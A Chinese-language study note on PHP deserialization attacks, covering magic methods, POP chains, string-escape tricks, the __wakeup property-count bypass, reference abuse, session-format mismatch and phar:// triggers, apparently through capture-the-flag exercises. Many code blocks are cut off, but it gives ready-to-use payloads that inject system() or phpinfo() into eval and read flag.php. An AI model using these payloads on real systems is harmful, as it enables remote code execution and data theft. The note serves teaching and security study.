反序列化学习
声明:该笔记中图片可能加载较慢,请耐心等待
构造函数__construct()
构造函数,在实例化一个对象的时候,首先会去执行的一个方法;
1 | <?php |
触发时机:实例化对象
功能:提前清理不必要内容
参数:非必要
返回值:
析构函数__destruct()
析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法。
1 | <?php |
$test = new User("张三");
:实例化对象后被销毁触发一次$ser = serialize($test);
序列化对象成字符串,对象变成了字符串不会被销毁,所以不会触发
unserialize($ser);
:反序列成对象后销毁触发一次
例题:
1 | <?php |
由于反序列后会自动触发__destruct(),所以我们只要控制cmd的值为我们想要执行的语句即可
则传入?benben=O:4:"User":1:{s:3:"cmd";s:13:"system('ls');";}
unserialize()触发__destruct()
__destruct() 执行eval()
eval()触发代码
触发时机:对象引用完成,或对象被销毁
功能:
参数:
返回值:
sleep()
序列化serialize()函数会先检查类中是否存在一个魔术方法__sleep()。
如果存在,该方法会先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
如果该方法位返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误。
触发时机:序列化serialize()之前。
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:成员属性。
返回值:需要被序列化存储的成员属性。
1 | <?php |
可以看见创建对象时password
是存在的而序列化后的password
不见了,这是因为序列化之前触发了__sleep(),而__sleep()只返回了username
和nickname
。即__sleep()执行返回需要序列化的变量名,过滤掉不需要的变量。
触发时机:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:return array
返回值:需要的变量
wakeup()
unserialize()会检查是否存在一个__wakeup()方法。
如果存在,则会先调用__wakeup()方法,预先准备对象所需要的资源。
预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
__wakeup()在反序列化unserialize()之前
__destruct()在反序列化unserialize()之后
1 | <?php |
user_ser
里面只有username
和nickname
但是反序列化之前会触发__wakeup()所以password
也会被赋值且等于username
。
触发时机:反序列化unserialize()之前。
功能:
参数:
返回值: 包含password的赋值。
__tostring()
触发时机:把对象 当成字符串调用
功能:
参数:
返回值:
1 | <?php |
User Object ( [benben] => this is test!! )
格式不对,输出不了!
把类User
实体化并赋值给$test
,此时$test
是个对象,调用对象可以使用print_r
或者var_dump
正常打印对象输出,如果使用echo
或者print
只能调用字符串的方式去调用对象,即把对象当初字符串使用,此时自动触发toString()。
__invoke()
1 | <?php |
this is test!!
它不是个函数!
把类User实体化并赋值给$test
为对象,正常输出对象里的值benben,加上()是把test当成函数test()
来调用,此时触发invoke()。
__call()
1 | <?php |
callxxx,a
调用的方法callxxx()不存在,触发魔术方法call()
触发时机:调用一个不存在的方法
功能:
参数:2个参数传参$arg1
(名称),$arg2
(参数)
返回值: 调用的不存在的方法的名称和参数
__callStatic()
1 | <?php |
callxxx,a
调用的静态方法callxxx()不存在,触发魔术方法callStatic()
触发时机:静态调用或调用成员常量时使用的方法不存在
功能:
参数:2个参数传参$arg1
(名称),$arg2
(参数)
返回值: 调用的不存在的方法的名称和参数
__get()
1 | highlight_file(__FILE__); |
var2
调用的成员属性var2不存在,触发get(),把不存在的属性名称var2赋值给$arg1
触发时机:调用的成员属性不存在
功能:
参数:传参$arg1
(名称)
返回值:不存在的成员属性的名称
__set()
1 | <?php |
var2,1
给不存在的成员属性var2赋值为1,先触发get(),再触发set()$arg1
,不存在成员属性的名称;$arg2
,给不存在的成员属性var2赋的值
触发时机:给不存在的成员属性赋值
功能:
参数:传参$arg1
(名称),$arg2
(值)
返回值:不存在的成员属性的名称和赋的值
__isset()
1 | <?php |
var
isset()调用的成员属性var不可访问或不存在
触发时机:对不可访问属性使用isset()或empty()时,__isset()会被调用
功能:
参数:传参$arg1
(名称)
返回值:不存在的成员属性的名称
__unset()
1 | <?php |
var
unset()调用的成员属性var不可访问或不存在触发unset(),返回$arg1
,不存在成员属性的名称。
触发时机:对不可访问属性使用unset()
功能:
参数:传参$arg1
(名称)
返回值:不存在的成员属性的名称
__clone()
1 | <?php |
__clone test
使用clone()克隆对象完成后,触发魔术方法__clone()
触发时机:当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
功能:
参数:
返回值:
POP链前置知识
1 | <?php |
关联点:如何让$test
调用evil里的成员方法action()
解题思路:给$test
赋值为对象 test = new evil()
1.反序列化unserialize()触发魔术方法destruct()
2.destruct()从$test
调用action()
-2.eval()调用$test2
-1.可利用漏洞点在函数eval(),可执行命令
1 | <?php |
POC:
1 | ?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system(%27ls%27);";}} |
将$test
赋值实例化对象test = new evil()
此时$a
为实例化对象index(),其中成员属性$test
=new evil()$test
为实例化对象evil(),成员属性$test
=”system(‘ls’);”;
序列化只能序列化成员属性,不序列化成员方法
- 构造命令语句
- 实例化对象index(),自动调用__construct()
POP链前置知识2
魔术方法触发前提:魔术方法所在类(或对象)被调用
1 | <?php |
反序列化的内容$a所调用的类sec()里不包含__wakeup()
,故不会触发
1 | <?php |
目标:显示”tostring is here!!”
-4 $source = object sec
-3 在echo中的source包含实例化sec()的对象
-2 把sec()实例化成对象后当成字符串输出
-1 需要触发__tostring()
1 | <?php |
O:4:”fast”:1:{s:6:”source”;O:3:”sec”:1:{s:6:”benben”;N;}}
在对象$a
里让source赋值对象$b
,在触发wakeup后执行echo从而触发sec里的__tostring
POP链构造及POC构造
POP链
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一个漏洞利用方法叫“面向属性编程”,即POP(Property Oriented Programming)。
POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload。
POC编写
POC(全称:Proof of concept)中文译作概念验证。在安全界可以理解成漏洞验证程序。POC是一段不完整的程序,仅仅是为了验证提出者的观点的一段代码。
例题:
1 | <?php |
-1 目标:触发echo,调用$flag
-2 第一步:触发invoke
,调用append
,并使$var=flag.php
-3 invoke
触发条件:把对象当成函数
-4 把$p
赋值为对象,即function
成为对象Modifier,却被当成函数调用,触发Modifier中的invoke
-5 触发get
方法,(触发条件:调用不存在的成员属性)
-6 给$str
赋值为对象Test,而Test中不存在成员属性source,则可触发Test里的成员方法get
-7 触发toString
(触发条件:把对象当成字符串)
-8 给$source
赋值为对象show,当成字符串被echo调用,触发tostring
-9 最终步:触发wakeup
(反序列化unserialize)
即当程序反序列化时,触发wakeup,而我们给source赋值为obj Show,所以这里会被Show这个对象当字符串echo,从而触发toString,而toString中的str被我们赋值为obj Test,此时str这个Test对象会调用Test中不存在的source成员属性从而触发get,由于get中p的值赋给了function,所以我们将p的值赋为obj Modifier,所以function就变成了一个对象,而return $function();
则把一个对象当作了函数调用,触发Modifier中的invoke,从而调用append方法,我们将var的值设为flag.php,则flag.php被当作append方法的参数传给了value,从而include('flag.php');
,然后执行echo $flag
,得到我们想要的flag。
POC:
1 | <?php |
payload:
1 | ?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}} |
注意var为private
,构造payload时要在类名前后加%00
字符串逃逸基础_减少
1 | <?php |
1 | $b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}'; |
将b中成员属性数量改为2则正常执行
若字符串长度不匹配,仍会显示bool(false)
1 | <?php |
"
是字符还是格式符号,是由字符串长度3来判断的
在前面字符串没有问题的情况下,;}
是反序列化结束符,后面的字符串不影响反序列化的结果
正常是指:成员属性数量一致,成员属性名称长度一致,内容长度一致
属性逃逸
一般在数据先经过serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。
1 | <?php |
str_replace把”system()”替换为”空”
O:1:”A”:2:{s:2:”v1”;s:11:”abc”;s:2:”v2”;s:3:”123”;}
字符串缺失导致格式被破坏,识别11位以后原本应该是"
能否通过修改v2的值“123”达到逃逸效果
O:1:”A”:2:{s:2:”v1”;s:11:”abc”;s:2:”v2”;s:3:”123”;}
让前面的代码全部被?吃掉
O:1:”A”:2:{s:2:”v1”;s:?:”abc”;s:2:”v2”;s:3:”123”;}
然后通过修改字符串123补全格式,并使后面的字符串变成功能性代码
O:1:”A”:2:{s:2:”v1”;s:?:”abc”;s:2:”v2”;s:xx:”;s:2:”v3”;N;}
xx的值为我们构造的字符串长度,则前面需要被吃掉20个字符
吃掉一个system()8个,加上abc最少要吃掉3个system(),一共吃掉27个字符,多吃掉7个,所以还需要在v2中补充7个字符
O:1:”A”:2:{s:2:”v1”;s:27:”abcsystem()system()system()“;s:2:”v2”;s:21:”1234567”;s:2:”v3”;N;}“;}
O:1:”A”:2:{s:2:”v1”;s:27:”abc”;s:2:”v2”;s:21:”1234567“;s:2:”v3”;N;}
1 | <?php |
运行得到结果:
由此多逃逸出一个成员属性
使第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
字符串逃逸减少例题
1 | <?php |
目标:判断vip值是否为真
对$param值’user’进行安全性检查,filter把”flag”,”php”替换为”hk”,然后再反序列化
- 字符串过来后减少还是增多
- 构造出关键成员属性序列化字符串:$vip = ture
- 变少则判断吃掉的内容,并计算长度
1
2
3
4
5
6
7
8<?php
class test{
var $user = "flag";
var $pass = "2js56";
var $vip = ture ;
}
echo serialize(new test());
?>$user
和$pass
的值先随便设置一下flag被替换成hk,字符串减少,吃完1
O:4:"test":3:{s:4:"user";s:4:"flag<u>";s:4:"pass";s:5:"</u>2js56";s:3:"vip";b:1;}
";s:4:"pass";s:5:"
后,$pass
的值2js56可控,字符串逃逸
目标代码:";s:3:"vip";b:1;}
,但是又产生了新问题,";s:4:"pass";s:5:"
被吃掉后,成员属性就会少一个,所以应该将将值2js56构造为";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;}
所以我们真正要吃掉的字符串为";s:4:"pass";s:xx:"
,xx是程序根据后面的$pass字符串长度自动生成的,而我们丢进去的长度明显是两位数,所以应该占两个长度。
flag->hk,吃一次少2个字符,要吃够19位最少要吃10次,多吃一位在后面补,所以最终$pass
的值应该是1";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;}
,而在user
中传10个flag字符串payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param='flagflagflagflagflagflagflagflagflagflag';
$pass='1";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;}';
$param=serialize(new test($param,$pass));
//O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:41:"1";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;}";s:3:"vip";b:0;}
echo filter($param);
//O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:41:"1";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;}";s:3:"vip";b:0;}
?>1
?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:5:"2js56";s:3:"vip";b:1;}
字符串逃逸基础_增多
反序列化字符串增多逃逸:构造出一个逃逸成员属性
第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性
1 | <?php |
str_replace把”ls”替换为”pwd”
字符增多,会把末尾多出来的字符挤出
思路:把吐出来的字符构造成功能性代码
O:1:”A”:2:{s:2:”v1”;s:xx:”pwd”;s:2:”v3”;s:2:”666”;}”;s:2:”v2”;s:3:”123”;}
吐出";s:2:"v3";s:2:"666";}
使结构完整,并且;}
可以把反序列化结束掉,不再管后面的原功能性代码,增加的";s:2:"v3";s:2:"666";}
一共22位
一个ls转成pwd增加一位字符,所以需要22个ls转成pwd
1 | O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:2:"666";}";s:2:"v2";s:3:"123";} |
1 | O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:2:"666";}";s:2:"v2";s:3:"123";} |
第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸成员属性
字符串逃逸增多例题
1 | <?php |
目标:判断是否pass=='escaping'
$_GET['param']
获取值给$param
,并放在实例化test里作为一个参数,实例化触发__construct
赋值给$user
对$param
值进行安全检查,filter把”flag”,”php”替换为”hack”,然后再反序列化
字符串增多,把有效代码往外吐
- 判断字符串过滤后减少还是增多
- 构造出关键成员属性序列化字符串
- 增多则判断一次吐出来多少个字符
1 | <?class test{ |
O:4:”test”:2:{s:4:”user”;s:5:”2js56“;s:4:”pass”;s:8:”escaping”;}$user
的值可控,向里面的字符串塞’php’,则会被替换成’hack’,字符串增多,会吐出字符串变成结构代码,一个’php’吐出一个字符
“;s:4:”pass”;s:8:”escaping”;}
则需要吐出29个字符,所以需要29个php
1 | user = phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";} |
则经过filter会变为:
1 | O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";} |
payload:
1 | ?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";} |
wakeup魔术方法绕过
漏洞产生原因:
如果存在__wakeup()
方法,调用unserialize()方法前则先调用__wakeup()
方法,但是序列化字符串中表示对象属性个数大于真实的属性个数时,会跳过__wakeup()
的执行
版本限制: PHP5-5.6.25,PHP7-7.0.10
1 | O:4:"test":2:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";} |
1 | O:4:"test":3:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";} |
成员属性个数值位3,但后面实际只有v1和v2两个成员属性
例题:
1 | <?php |
如果$cmd
为空,显示源代码
如果不为空,进行正则表达,o:后面不能出现数字
目标:反序列化后,调用__destruct()
,把file定义成flag.php输出__wakeup()
在反序列化之前触发,__destruct()
在反序列化之后触发,__wakeup()
会把file值改成’index.php’
1 | <?php |
将成员属性写成2,就可以跳过__wakeup()
,由于正则表达式限制了O:后面不能跟数字,所以加一个+
,跳过正则表达式匹配
1 | O:+6:"secret":2:{s:4:"file";s:8:"flag.php";} |
这里我们将其urlencode一下,避免+
引起的错误
payload:
1 | O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D |
引用的利用方式
1 | <?php |
最终目的:secret === enter$a
为反序列化$pass
后的对象,且赋值secret = ““
思路:通过构造$pass
的值pass使$enter
=
但是怎么样在不输入*
的情况下,让$enter
值变为*
?
则构造序列化字符串,让$enter
的值引用$secret
的值
1 | <?php |
O:8:”just4fun”:2:{s:5:”enter”;N;s:6:”secret”;R:2;}
R代表引用,2代表enter
相当于secret被enter引用了,而enter相当于是secret的一个别名,所以secret === enter
session反序列化
当session_start()
被调用或者php.ini中session.auto_start
为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。
存储数据的格式有多种,常用的有三种
漏洞产生:写入格式和读取格式不一致
1 | <?php |
?lhq=linghuaqian
1 | 2js56|s:11:"linghuaqian"; |
php:键名 + 竖线 + 经过serialize()函数序列化处理的值
声明session存储格式为php_serialize
1 | <?php |
?lhq=linghuaqian&b=666
1 | a:2:{s:5:"2js56";s:8:"linghuaqian";s:1:"b";s:3:"666";} |
php_serialize:经过serialize()函数序列化处理的数组
声明session存储格式为php_binary
1 | <?php |
?lhq=linghuaqian&b=666
1 | 532js56s:11:"linghuaqian";49bs:3:"666"; |
PHP session反序列化漏洞:
当网站序列化并存储session,与反序列化并读取session的方式不同,就可能导致session反序列化漏洞的产生。
save.php:提交a以php_serialize格式保存
1 | <?php |
构造以下payload:
1 | ?a=|O:1:"D":1:{s:1:"a";s:10:"phpinfo();";} |
此时存储的为:a:1:{s:3:”lhq”;s:39:”|O:1:”D”:1:{s:1:”a”;s:10:”phpinfo();”;}“;}
vul.php:以php格式读取session
1 | <?php |
所以以php格式读取时会把O:1:”D”:1:{s:1:”a”;s:10:”phpinfo();”;}“;}进行反序列化unserialize(),反序列化触发__destruct()
,执行eval()
session反序列化漏洞例题
index.php
1 | <?php |
hint.php
1 | <?php |
构造:
1 | <?php |
payload:
1 | ?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;} |
phar反序列化
什么是phar?
JAR是开发Java程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单。
like a Java JAR,but for PHP
PHAR(“Php Archive”)是PHP里类似于JAR的一种打包文件。
对于PHP 5.3或更高版本,Phar后缀文件是默认开启支持的,可以直接使用它。
文件包含:phar伪协议,可读取.phar文件。
Phar结构:
stub phar文件标识,格式为xxx<?php xxx;__HALT_COMPiLER();?>;
(头部信息)
manifest压缩文件的属性等信息,以序列化存储;
contents压缩文件的内容;
signature签名,放在文件末尾;
Phar漏洞原理:
manifest压缩文件的属性等信息,以序列化存储;存在一段序列化存储的字符串;
调用phar伪协议,可读取.phar文件
Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化
Phar需要PHP >=5.2在php.ini中将phar.readonly设为off(注意去掉前面的分号)
index.php
1 | <?php |
1 | <?php |
提交文件名filename,file_exists读取文件__destruct
把output(echo 'ok')
值调用并输出
**payload: **
1 | ?filenmae=phar://test.php&a=system('ls'); |
Phar使用条件:
- phar文件能上传到服务器端;
- 要有可用反序列化魔术方法作为跳板;
- 要有文件操作函数,如file_exists(), fopen(), file_get_contents()
- 文件操作函数参数可控,且:
、
、/
、phar
等特殊字符没有被过滤
phar文件上传不看后缀
phar反序列化例题
index.php
1 | <?php |
目标:echo $flag
反序列化TestObject()触发__destruct()
执行echo $flag
$_POST
提交file赋值$filename
,判断文件是否存在并echo md5_file($filename)
解析步骤:
生成一个phar文件,在mate-data里放置一个包含TestObject()的序列化字符串;
上传文件;md5_file
执行phar伪协议,触发反序列化;
反序列化TestObject()触发__destruct
执行echo $flag
构造并运行:
1 | <?php |
改名为poc.png
在upload.php页面上传成功后,在index.php页面用post方法提交file=phar://upload/poc.png
,执行phar伪协议触发反序列化,反序列化TestObject()触发__destruct
执行echo $flag